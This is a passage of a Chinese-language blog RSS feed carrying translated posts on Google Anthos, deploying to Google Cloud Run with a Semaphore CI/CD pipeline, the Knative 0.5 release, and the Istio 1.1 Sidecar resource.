&lt;li&gt;&lt;p&gt;Istio：这一技术让跨平台的联邦网络管理成为可能。Anthos 需要为部署在不同数据中心、GCP 以及其它云上的多种应用程序的组件建立服务网格，Istio 自然是首选。它会和 VMWare NSX、Cisco ACI 以及 Google 自己的 Andromeda 等 SDN 进行无缝集成。已经在网络设施上（例如 F5） 进行投资的客户，可以将 Istio 和负载均衡及防火墙集成起来。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Velostrata：Google 在 2018 年收购了这一云迁移技术，来增强 Kubernetes 的竞争力。Velostrata 的主要功能——在 GCE 实例中复制物理机/虚拟机，并把现有虚拟机转换为 Kubernetes 应用（Pod）。这是业界首个物理机到 Kubernetes 的迁移工具，由 Google 提供。这一技术以 Anthos Migrate 的面目出现，目前是 Beta 阶段。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Anthos 配置管理：Kubernetes 是一个可扩展的策略驱动的平台。Anthos 的客户必须面对运行在不同环境中的多个 Kubernetes，因此 Google 尝试利用 Anthos 来简化配置管理工作。从发布工件、配置项目、网络策略、密文和密码等类型的配置，Anthos 配置管理都能够进行管理并将配置应用到一或多个集群之中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Stackdriver：Stackdriver 为 Anthos 基础设施和应用提供了可观察性的支持。客户能够使用这一组件跟踪运行在 Anthos集群状态，以及部署在各个托管集群上的应用的健康情况。该组件负责集中地提供监控、日志、跟踪以及观察的支持。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;GCP Cloud Interconnect：在企业数据中心以及云基础设施之间的高速互联，是混合云平台的必要条件。Cloud Interconnect 能够在数据中心和云间交付高达 100Gbps 的高速网络。客户也可以使用 Equinix、NTT Communications、Softbanck 等电信厂商的网络将其数据中心延伸到 GCP。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;GCP Marketplace：Google 为能够在 Kubernetes 上运行的（来自 ISV 和开源的）软件列表。用户能够在 Anthos 中一键部署 Cassandra 数据库或者 GitLab 等软件。最终 Google 可能还会为内部 IT 提供一个私有的 Catalog 服务。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;应用程序-greenfield-vs-brownfield&#34;&gt;应用程序：Greenfield vs Brownfield&lt;/h2&gt;

&lt;p&gt;Anthos 的核心场景就是应用的现代化进程。Google 所展望的未来世界中，所有企业都运行在 Kubernetes 上。为了达成这一目标，Google 在 Velostrata 这样的技术上进行投资，从而完成从虚拟机到容器的就地升级。&lt;/p&gt;

&lt;p&gt;Google 为 VMware 的 vRealize 构建了一个插件，可以把现有虚拟机转换为 Kubernetes Pod。即使是 PostgreSQL 和 MySQL 这样的有状态应用，都能够转换为 StatefulSet 在 Kubernetes 中运行。&lt;/p&gt;

&lt;p&gt;在从自有虚拟机向云端虚拟机的迁移问题上，Google 表现得轻描淡写。但是 Velostrata 的原始服务都是基于 VM 的。客户的业务线应用程序，例如 SAP、Oracle Finacials 以及 Peoplesoft 都可以持续的运行在自家数据中心的虚拟机中，或者也可以选择迁移到 GCE 的虚拟机上。Anthos 在技术上提供虚拟机和 Kubernetes 容器化应用之间的互操作性。&lt;/p&gt;

&lt;p&gt;有了 Anthos，Google 想要拥有所有运行在 Kubernetes 之上现代微服务应用（Greenfield），同时也想将现有虚拟机（Brownfield）转换为容器。非 x86 架构中的存量应用会持续运行在物理或者虚拟机上。&lt;/p&gt;

&lt;h2 id=&#34;广泛的行业合作&#34;&gt;广泛的行业合作&lt;/h2&gt;

&lt;p&gt;因为缺乏与业内其它厂商的合作和伙伴关系，Google 经常受到批评。为了对抗微软和 Amazon，Google 准备和行业中的其它老牌企业进行合作。毫无疑问，这一举措会帮助 Google 在企业市场获得一席之地。&lt;/p&gt;

&lt;p&gt;为了让 Anthos 走向成功，Google 将不得不依靠现有的企业市场玩家进行推动。它要寻求的是和微软以及 Amazon 的合作伙伴，来一起推进混合云进程。&lt;/p&gt;

&lt;p&gt;Cisco 将 HyperFlex、ACI、SD-WAN 以及 Stealthwatch Cloud 扩展到 Anthos 之上，为其提供 SDN 能力。VMware 正在为 Pivotal Kubernetes Service（PKS）加入 Anthos 支持，另外还有 VeloCloud 提供的 SD-WAN 能力；它还将它的流行 SDN 方案 NSX 集成到了 Istio 之中。&lt;/p&gt;

&lt;p&gt;大量 ISV 正在启动对 Anthos 的支持。从 Citrix 到 NetApp 到 MongoDB，众多的平台供应商正在尝试将其软件集成到 Anthos 之中。&lt;/p&gt;

&lt;h2 id=&#34;google-的-kubernetes-攻势&#34;&gt;Google 的 Kubernetes 攻势&lt;/h2&gt;

&lt;p&gt;作为 Kubernetes 的创始人，毫无疑问的，Google 是很擅长管理容器的。在 Docker 开始展现出对开发者的吸引力之后，Google 意识到这是放养 Kubernetes 的绝佳机会。Google 也是业内第一个提供托管 Kubernetes 的公有云厂商。虽然有为数众多的竞争者，GKE 仍然是运行微服务的最佳平台。&lt;/p&gt;

&lt;p&gt;基于对 Kubernetes 的深入理解，以及在这方面的持续投入，Google 希望在容器和微服务的新世界之中占据主导地位。它希望企业能够跳出虚拟机，在 Kubernetes 上运行他们的现代应用。&lt;/p&gt;

&lt;p&gt;Anthos 是 Google 的重要一步。它正在冒险摆脱其对手用于吸引企业客户的混合云玩法。Anthos 对标的是微软的 Azure Stack 以及 AWS 提出的 VMware 结合 Outpost 的混合云方案。Google 和竞争对手的明显差别在于，它的方案根植于容器和 Kubernetes 技术。&lt;/p&gt;

&lt;p&gt;Google 希望利用在 Kubernetes 和云原生领域的领先地位。它迅速地围绕 Kubernetes 构建了企业战略。Google 意图通过 Anthos 成为容器生态系统中的 VMware。VMware 在企业中推动其 hypervisor 以及软件定义的基础设施的手段，正是现在 Google 的行为方式。&lt;/p&gt;

&lt;p&gt;但是微软同样在容器和 Kubernetes 方面下了重注。它通过将公有云中的旗舰级能力下放到私有云的方式，模糊了 Azure 和 Azure Stack 之间的界线。微软能够用 Azure Kubernetes 服务来复制 Anthos 的战术。Redmond 将如何使用 Azure Stack 玩转 Kubernetes，是个令人感兴趣的问题。&lt;/p&gt;

&lt;p&gt;如果一切如 Google 所愿，Anthos 最终会成为运行企业负载的首选平台。&lt;/p&gt;

&lt;h2 id=&#34;企业就绪&#34;&gt;企业就绪&lt;/h2&gt;

&lt;p&gt;让来自 Cisco 和 VMware 的高管和 Thomas Kurian 一起登台，这是来自 Google 的声明：已经为企业市场做好准备。这一表现当然会增强企业客户在 Anthos 和 GCP 上进行投入的信心。&lt;/p&gt;

&lt;p&gt;Kubernetes 被认为是一个高技术的、具有极客气息的平台，因此吸引了开发和运营人员。而有了 Anthos 的帮助，Google 将会改变客户对 Kubernetes 的刻板印象。它将 Kubernetes 变成一个可用的、可靠的企业级混合云平台。&lt;/p&gt;

&lt;p&gt;Thomas Kurian 掌舵之后，Google 开始关注企业市场。如果它能够用好合作伙伴关系，并持续和关键的行业参与者进行合作，Google 和 Anthos 将会给企业基础设施市场带来巨大冲击。&lt;/p&gt;

&lt;h2 id=&#34;云原生生态的巨大机会&#34;&gt;云原生生态的巨大机会&lt;/h2&gt;

&lt;p&gt;Anthos 提振了对云原生生态系统的信心。前面提到过，Google 希望成为 Kubernetes 世界中的 VMware。但是和 VMware 登上企业宝座的时候相比，世界已经不同了。&lt;/p&gt;

&lt;p&gt;最大的区别就是开源软件。Google 现在面临的环境中，软件已经不再是关键区别。&lt;/p&gt;

&lt;p&gt;为了 Anthos 的成功，Google 必须依赖社区和生态系统。为云原生环境提供利基产品的创业公司（例如 Tigera、Portworx、Robin、Confluent、Cloudbees）将会得到更好的机会，Anthos 的推出，会让其受益匪浅。&lt;/p&gt;

&lt;p&gt;从小型的本地供应商到埃森哲、高知特这样的全球 SI，供应商和集成商正在为 Anthos 做准备。Google 的混合云战略将转化为价值数百万没有的的服务机会。&lt;/p&gt;

&lt;p&gt;随着 Google 向企业宣传和销售 Kubernetes 的举措，创业公司将借势将其触角伸向企业。&lt;/p&gt;

&lt;p&gt;Google 在 Anthos 上的豪赌对行业大有裨益，开源社区和云原生生态系统将加速 Kubernetes 的采用过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Cloud Run 一瞥</title>
      <link>/post/a-first-look-at-google-cloud-run/</link>
      <pubDate>Tue, 16 Apr 2019 03:38:07 +0800</pubDate>
      <guid>/post/a-first-look-at-google-cloud-run/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/a-first-look-at-google-cloud-run/&#34; target=&#34;_blank&#34;&gt;A First Look at Google Cloud Run&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/marko-anastasov/&#34; target=&#34;_blank&#34;&gt;Marko Anastasov&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Google 在 &lt;a href=&#34;https://cloud.withgoogle.com/next/sf&#34; target=&#34;_blank&#34;&gt;Cloud Next&amp;rsquo;19&lt;/a&gt; 上发布了基于 Docker 容器的的 Serverless 新方案。目前可以肯定的是，这是 Serverless 的重要进步——在 Cloud Run 上进行部署比在 Kubernetes 上运行容器简单多了。而且和 Lambda 不同，这一方案没有语言绑定的问题。&lt;/p&gt;

&lt;h2 id=&#34;什么是-google-cloud-run&#34;&gt;什么是 Google Cloud Run&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://cloud.google.com/run/&#34; target=&#34;_blank&#34;&gt;Google Cloud Run&lt;/a&gt; 是一个全托管平台，它以无状态、自动伸缩的 HTTP 服务的形式运行 Docker 容器镜像。&lt;/p&gt;

&lt;p&gt;Cloud Run 和第一代 Serverless 平台（例如 AWS Lambda、&lt;a href=&#34;https://cloud.google.com/functions/&#34; target=&#34;_blank&#34;&gt;Google Cloud functions&lt;/a&gt; 或 Azure Functions）不同，它允许你运行任意的应用，提供多个端点；而无需使用特定接口来运行小规模的函数。&lt;/p&gt;

&lt;p&gt;Cloud Run 的基础来自于 &lt;a href=&#34;https://www.knative.dev/&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt;，因此这一方案有可能被移植到其它的托管 Kubernetes 平台。&lt;/p&gt;

&lt;h2 id=&#34;我的项目能够在-google-cloud-run-上运行么&#34;&gt;我的项目能够在 Google Cloud Run 上运行么？&lt;/h2&gt;

&lt;p&gt;Google 发表了 &lt;a href=&#34;https://cloud.google.com/run/docs/reference/container-contract&#34; target=&#34;_blank&#34;&gt;容器运行时契约&lt;/a&gt;，其中说明了对容器的要求：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;容器是 64 位 Linux 平台；&lt;/li&gt;
&lt;li&gt;在 8080 端口监听 HTTP 请求；&lt;/li&gt;
&lt;li&gt;最多使用 2G 内存；&lt;/li&gt;
&lt;li&gt;容器实例必须在收到请求之后的 4 分钟内启动 HTTP 服务器；&lt;/li&gt;
&lt;li&gt;应用应该能够适应自动从 0 到多个运行实例的容器环境；&lt;/li&gt;
&lt;li&gt;所有的运算都应该是无状态的，限制在一个请求之内。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;只要你的项目能够符合上面的条件，不论使用什么语言开发，都能够在 Cloud Run 上面运行。&lt;/p&gt;

&lt;p&gt;Cloud Run 目前还在 Beta 阶段，因此这些需求可能会发生变动。&lt;/p&gt;

&lt;h2 id=&#34;上手流程&#34;&gt;上手流程&lt;/h2&gt;

&lt;p&gt;对于熟悉 Docker 或者 Heroku 传统 PaaS 解决方案的人来说，Cloud Run 应该很易上手。&lt;/p&gt;

&lt;p&gt;应用打包成 Docker 之后，剩下的任务包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把镜像推送到 Google 镜像库。&lt;/li&gt;
&lt;li&gt;运行 &lt;code&gt;gcloud beta run deploy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;只要几分钟，Cloud Run 就会使用一个可定制、可开放的域名启动新应用了。&lt;/p&gt;

&lt;h3 id=&#34;示例-使用-semaphore-进行持续部署&#34;&gt;示例：使用 Semaphore 进行持续部署&lt;/h3&gt;

&lt;p&gt;下面的例子中，我们使用 &lt;a href=&#34;https://semaphoreci.com/&#34; target=&#34;_blank&#34;&gt;Semaphore&lt;/a&gt; 要为一个微服务配置 &lt;a href=&#34;https://thenewstack.io/why-cloud-native-success-depends-on-high-velocity-ci-cd/&#34; target=&#34;_blank&#34;&gt;Serverless CI/CD Pipeline&lt;/a&gt;，其中包含如下环节：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;运行自动测试；&lt;/li&gt;
&lt;li&gt;构建 Docker 容器；&lt;/li&gt;
&lt;li&gt;将容器镜像推入 Google 镜像库；&lt;/li&gt;
&lt;li&gt;提供到 Cloud Run 预备环境的一键部署；&lt;/li&gt;
&lt;li&gt;在对 Master 分支的构建成功之后；自动部署到 Cloud Run 生产环境。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/dac19d8b-semaphore1-1024x533.png&#34; alt=&#34;semaphore&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以在 &lt;a href=&#34;https://github.com/semaphoreci-demos/semaphore-demo-cloud-run&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上找到相关的全部代码。&lt;/p&gt;

&lt;h3 id=&#34;启用-cloud-run&#34;&gt;启用 Cloud Run&lt;/h3&gt;

&lt;p&gt;官方的&lt;a href=&#34;https://cloud.google.com/run/docs/quickstarts/build-and-deploy&#34; target=&#34;_blank&#34;&gt;快速启动指南&lt;/a&gt;提供了一个 Cloud Run 的上手教程。&lt;/p&gt;

&lt;p&gt;第一步是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在你的账号中&lt;a href=&#34;http://console.cloud.google.com/apis/library/run.googleapis.com&#34; target=&#34;_blank&#34;&gt;启用 Cloud Run API&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;安装 Google Cloud SDK；&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;gcloud components install beta&lt;/code&gt; 安装 Beta 组件。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;应用容器化&#34;&gt;应用容器化&lt;/h3&gt;

&lt;p&gt;下面的 Dockerfile 将一个简单的 Sinatra 应用打包：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ruby:2.5
RUN apt-get update -qq &amp;amp;amp;&amp;amp;amp; apt-get install -y build-essential
ENV APP_HOME /app
RUN mkdir $APP_HOME
WORKDIR $APP_HOME
ADD Gemfile* $APP_HOME/
RUN bundle install --without development test
ADD . $APP_HOME
EXPOSE 8080
CMD [&amp;quot;bundle&amp;quot;, &amp;quot;exec&amp;quot;, &amp;quot;rackup&amp;quot;, &amp;quot;--host&amp;quot;, &amp;quot;0.0.0.0&amp;quot;, &amp;quot;-p&amp;quot;, &amp;quot;8080&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意如果使用你自己的 Dockerfile，必须开放 8080 端口，否则可能会看到如下错误：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/4759c604-screen-shot-2019-04-10-at-22.38.51.png&#34; alt=&#34;execption&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;登录-google-cloud-和-gcr&#34;&gt;登录 Google Cloud 和 GCR&lt;/h3&gt;

&lt;p&gt;要在 CI/CD Pipeline 中自动地将&lt;a href=&#34;https://cloud.google.com/container-registry/docs/pushing-and-pulling&#34; target=&#34;_blank&#34;&gt;镜像推送到 GCR&lt;/a&gt;，需要在 Semaphore 中登录到 Google Cloud。为了安全起见，需要在 Semaphore 中根据 Google Cloud Service account 的认证密钥创建一个 Secret。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://cloud.google.com/iam/docs/creating-managing-service-account-keys#iam-service-account-keys-list-gcloud&#34; target=&#34;_blank&#34;&gt;获取认证密钥&lt;/a&gt;之后，在 Semaphore 中用 Secret 的形式上传到 Semaphore。假设文件名是 &lt;code&gt;.secrets.gcp.json&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sem create secret google-cloud-stg --file ~/Downloads/account-name-27f3a5bcea2d.json:.secrets.gcp.json
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;定义分发管线&#34;&gt;定义分发管线&lt;/h3&gt;

&lt;p&gt;接下来就可以编写一个 Pipeline 来构建、标记并推送镜像到 GCR 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# .semaphore/docker-build.yml
# This pipeline runs after semaphore.yml
version: v1.0
name: Docker build
agent:
  machine:
    # Use a machine type with more RAM and CPU power for faster container
    # builds:
    type: e1-standard-4
    os_image: ubuntu1804
blocks:
  - name: Build
    task:
      # Mount a secret which defines an authentication key file.
      # For info on creating secrets, see:
      # - https://docs.semaphoreci.com/article/66-environment-variables-and-secrets
      # - https://docs.semaphoreci.com/article/72-google-container-registry-gcr
      secrets:
        - name: google-cloud-stg
      jobs:
      - name: Docker build
        commands:
          # Authenticate using the file injected from the secret
          - gcloud auth activate-service-account --key-file=.secrets.gcp.json
          # Configure access to container registry, silence confirmation prompts with -q
          - gcloud auth configure-docker -q

          - checkout

          # Tag your images with gcr.io/ACCOUNT_PROJECT_NAME/SERVICE_NAME pattern
          # Use Git SHA to produce unique artifacts
          - docker build -t &amp;quot;gcr.io/semaphore2-stg/semaphore-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7}&amp;quot; .
          - docker push &amp;quot;gcr.io/semaphore2-stg/semaphore-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7}&amp;quot;

promotions:
  # Deployment to staging can be trigger manually:
  - name: Deploy to staging
    pipeline_file: deploy-staging.yml

  # Automatically deploy to production on successful builds on master branch:
  - name: Deploy to production
    pipeline_file: deploy-production.yml
    auto_promote_on:
      - result: passed
        branch:
          - master
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 &lt;code&gt;deploy-staging.yml&lt;/code&gt; 和 &lt;code&gt;deploy-production.yml&lt;/code&gt; 中包含了同样的步骤，区别只是服务的名称。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# .semaphore/deploy-production.yml
# This pipeline runs after docker-build.yml
version: v1.0
name: Deploy to production
agent:
  machine:
    type: e1-standard-2
    os_image: ubuntu1804
blocks:
  - name: Deploy to production
    task:
      secrets:
        - name: google-cloud-stg
      jobs:
      - name: run deploy
        commands:
          - gcloud auth activate-service-account --key-file=.secrets.gcp.json
          - gcloud auth configure-docker -q
          
          # Deploy to Cloud Run, using flags to avoid interactive prompt
          # See https://cloud.google.com/sdk/gcloud/reference/beta/run/deploy
          - gcloud beta run deploy markoci-demo-cloud-run --project semaphore2-stg --image gcr.io/semaphore2-stg/markoci-demo-cloud-run:${SEMAPHORE_GIT_SHA:0:7} --region us-central1
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;上线运行&#34;&gt;上线运行&lt;/h3&gt;

&lt;p&gt;在本地终端或者 Semaphore 作业的日志中，最后一行会包含一个应用运行的网址：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;https://semaphore-demo-cloud-run-ud2bmvsmda-uc.a.run.app.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用浏览器打开这个网址会看到：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/08fefc9a-screen-shot-2019-04-10-at-22.30.52.png&#34; alt=&#34;forbidden&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这是因为还没有完成最后一步：在 Google Cloud Run 控制台中&lt;a href=&#34;https://cloud.google.com/run/docs/securing/managing-access#making_a_service_public&#34; target=&#34;_blank&#34;&gt;开放服务&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;完成之后的浏览页面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/011b5a8f-semaphore2-1024x627.png&#34; alt=&#34;hello&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;整装待发&#34;&gt;整装待发&lt;/h3&gt;

&lt;p&gt;希望本文能够引起你使用 &lt;a href=&#34;https://thenewstack.io/why-a-well-oiled-ci-cd-pipeline-makes-for-a-happy-devops-team/&#34; target=&#34;_blank&#34;&gt;CI/CD Pipeline&lt;/a&gt; 在 Google Cloud Run 上构建和发布应用的兴趣。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Knative 0.5 发布</title>
      <link>/post/knative-0.50-release/</link>
      <pubDate>Thu, 11 Apr 2019 22:37:55 +0800</pubDate>
      <guid>/post/knative-0.50-release/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/knative/announcing-knative-v0-5-release-cfe646ca8e30?nsukey=DmMa%2BnItgi6DqPeCf9uQWn%2BXbGw%2FmuvNjKfVx80KhnL0s9C1pHst%2BzTVnCy8Iax3n9bUNJjrkL9O0TDyf42Qi8z9p0XW4heqtF%2FgPlJrJo%2BNs5qBOkyV%2FyH3Gc%2FjOCwm57VEZYyZNZcFB796ezQwZnbUN06%2FvuNEMR7BpUCETzg9VPlHVOAPpHF6qAkOlfxPCH7iM5Kw1Y7FaL2zLKXXcg%3D%3D&#34; target=&#34;_blank&#34;&gt;Announcing Knative v0.5 Release&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@mchmarny_google&#34; target=&#34;_blank&#34;&gt;Mark Chmarny&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;再一次激动地宣布 &lt;a href=&#34;https://www.knative.dev/&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt; 的新版本发布了。Knative 是一个能帮助开发者在 Kubernetes 基础之上，构建、部署和管理现代 Serverless 工作负载的平台。&lt;/p&gt;

&lt;p&gt;更加频繁和符合预期的发布节奏，让我们有机会能够从真实世界中获得更快的反馈，这种节奏当然也意味着更小的、更多的功能进展。也不全是这样，Knative v0.5 中，Eventing 系统有了长足的进步。其中的 Trigger 和 Broker 对象的引入，让开发者基于 Knative 构建事件驱动系统时能够得到更好更强的开发体验。&lt;/p&gt;

&lt;p&gt;除了 Eventing，这个版本的 Knative 还增加了监控指标，提高了自动伸缩、队列代理以及 Istio 遥测的可观察性，下面做一个介绍，并对部分变更做出一点深入讲解。&lt;/p&gt;

&lt;h2 id=&#34;eventing&#34;&gt;Eventing&lt;/h2&gt;

&lt;p&gt;在 &lt;strong&gt;Eventing&lt;/strong&gt; 架构中加入了 &lt;strong&gt;Trigger&lt;/strong&gt; 和 &lt;strong&gt;Broker&lt;/strong&gt; 对象，开发者能够轻松的构建出复杂且健壮的事件驱动应用。通过对 &lt;strong&gt;Producing&lt;/strong&gt; 和 &lt;strong&gt;Consuming&lt;/strong&gt; 服务的解耦，对路由配置的需求大大降低。我们相信，社区将会使用这一新能力构建出新的事件和创新的解决方案。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;eventing-object-model.png&#34; alt=&#34;Knative Eventing Object Model&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trigger&lt;/strong&gt;：开发者不再需要手工的对事件进行转换并路由给下游的 Knative 服务。只要定义一个简单的事件触发器，选择源事件（可以使用任何方式进行过滤），然后发送到消费方服务即可。这一对象会给开发者的体验带来很大简化。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Broker&lt;/strong&gt;：事件 Broker 充当了事件 Hub 的角色，所有的消息都会发送给它。开发者和用户简单的编写服务或者配置事件源发送时间给 Broker，Broker 会处理其它工作。消费方服务只需要创建一个触发器，从 Broker 中接收它们感兴趣的事件即可。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;新的事件源&lt;/strong&gt;：Kanative 中加入了 Kafka 的事件源，将 Kafka 生态系统的丰富功能带给了 Knative 和 Kubernetes。&lt;/p&gt;

&lt;h2 id=&#34;自动伸缩&#34;&gt;自动伸缩&lt;/h2&gt;

&lt;p&gt;自动伸缩功能增强，在重度工作负载的情况下，能够更平顺、更高效的完成伸缩动作。加入了更多的自动伸缩指标，增强了可观察性。&lt;/p&gt;

&lt;h2 id=&#34;核心-api&#34;&gt;核心 API&lt;/h2&gt;

&lt;p&gt;新版本中，具名子路由的 URL 暴露在 Service 和 Route 资源的状态之中，就不用再猜测如何标记流量的分配状况了。这是 &lt;code&gt;v1beta1 task force&lt;/code&gt; 中的第一个变化。后续版本中将会看到更多这方面的更新。&lt;/p&gt;

&lt;p&gt;另外我们的 Webhook 中，很多缺省值都可以使用名为 &lt;code&gt;config-defaults&lt;/code&gt; 的 Configmap 进行配置了。另外，在我们的控制器遇到内部错误时，会通过 Kubernetes 事件系统提供更好的可见性。最后，我们还扩展了我们的一致性测试，其中包含了对 &lt;code&gt;securityContext&lt;/code&gt; 和 &lt;code&gt;metadata.generateName&lt;/code&gt; 的支持。&lt;/p&gt;

&lt;h2 id=&#34;网络&#34;&gt;网络&lt;/h2&gt;

&lt;p&gt;这一版本中，针对 gRPC 服务的冷启动和客户端的认证头处理有了很大提升。&lt;/p&gt;

&lt;p&gt;Knative 0.5 的完整发布公告中包含了新功能和问题修复的完整列表，分别在 &lt;a href=&#34;https://github.com/knative/serving/releases/tag/v0.5.0&#34; target=&#34;_blank&#34;&gt;Serving&lt;/a&gt;、&lt;a href=&#34;https://github.com/knative/build/releases/tag/v0.5.0&#34; target=&#34;_blank&#34;&gt;Build&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/knative/eventing/releases/tag/v0.5.0&#34; target=&#34;_blank&#34;&gt;Eventing&lt;/a&gt; 代码库中。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 1.1 中的 Sidecar 资源</title>
      <link>/post/istio-sidecar-resource/</link>
      <pubDate>Wed, 10 Apr 2019 01:18:07 +0800</pubDate>
      <guid>/post/istio-sidecar-resource/</guid>
      <description>

&lt;p&gt;缺省情况下，Istio 在 Pod 创建之前将 &lt;code&gt;istio-init&lt;/code&gt; 和 &lt;code&gt;istio-proxy&lt;/code&gt; 注入到 Pod 之中，使用 &lt;code&gt;istio-init&lt;/code&gt; 对 iptables 进行初始化，将业务容器的流量拦截到 &lt;code&gt;istio-proxy&lt;/code&gt;，从而完成通信控制权的移交工作——应用容器的自发 Ingress 和 Egress 通信，都从 Envoy 中留过，Envoy 作为数据平面，需要接受来自控制面的 xDS 指令，据此作出通信决策。&lt;/p&gt;

&lt;p&gt;在 Istio 1.1 中引入了 Sidecar 资源对象，为这一拦截转发过程加入了一定的控制能力，可能给 Istio 的生产应用带来很好的效率提升。&lt;/p&gt;

&lt;h2 id=&#34;基本结构&#34;&gt;基本结构&lt;/h2&gt;

&lt;p&gt;Sidecar 资源的一级结构很简单，由三个成员构成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;workloadSelector&lt;/code&gt;：标签选择器，用来对 Pod 进行选择。这一字段是可选字段，如果忽略这一字段，则会对命名空间内的所有 Pod 生效。需要注意的是，一个命名空间之内，只允许存在一个不设置此字段的 Sidecar 对象。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;ingress&lt;/code&gt;：一个数组，用于处理进入 Pod 的流量，如果省略这一字段，Istio 会根据业务应用的工作负载定义来设置监听过程。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;port&lt;/code&gt;：必要字段，监听的端口，如果使用 Unix domain socket，则设置为 0。

&lt;ul&gt;
&lt;li&gt;number&lt;/li&gt;
&lt;li&gt;protocal&lt;/li&gt;
&lt;li&gt;name&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bind&lt;/code&gt;：监听器的绑定设置，可以是 &lt;code&gt;ip&lt;/code&gt;，也可以是 &lt;code&gt;unix:///path/to/uds&lt;/code&gt;，如果省略这一字段，Istio 会根据工作负载服务来自动填充。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;captureMode&lt;/code&gt;：如果 &lt;code&gt;bind&lt;/code&gt; 指定的是 IP 地址，这个字段可以指定是否拦截通信，如果绑定到 Unix domain socket，这一字段必须是 &lt;code&gt;DEFAULT&lt;/code&gt; 或者 &lt;code&gt;NONE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;defaultEndpoint&lt;/code&gt;：必要字段，Envoy 接收进入 Pod 的流量之后的转发目标。目标可以是 &lt;code&gt;127.0.0.1:PORT&lt;/code&gt; 或者 &lt;code&gt;unix:///path/to/socket&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;egress&lt;/code&gt;：一个处理 Egress 流量的定义数组。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;port&lt;/code&gt;：监听器的端口，如果使用 Unix domain socket，则设为 0。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bind&lt;/code&gt;：绑定到地址或 socket。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;captureMode&lt;/code&gt;：同 &lt;code&gt;ingress&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hosts&lt;/code&gt;：必要字段，用 &lt;code&gt;命名空间/服务 FQDN&lt;/code&gt; 组合而成，可以是 VirtualService 或者 ServiceEntry 或者原始 Kubernetes 服务的名称，支持通配符。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;安装 Kubernetes 集群和 Istio，这里采用 1.1.2 的 demo-auth 配置。创建新命名空间 &lt;code&gt;other&lt;/code&gt;，并打标签开启自动注入：&lt;/p&gt;

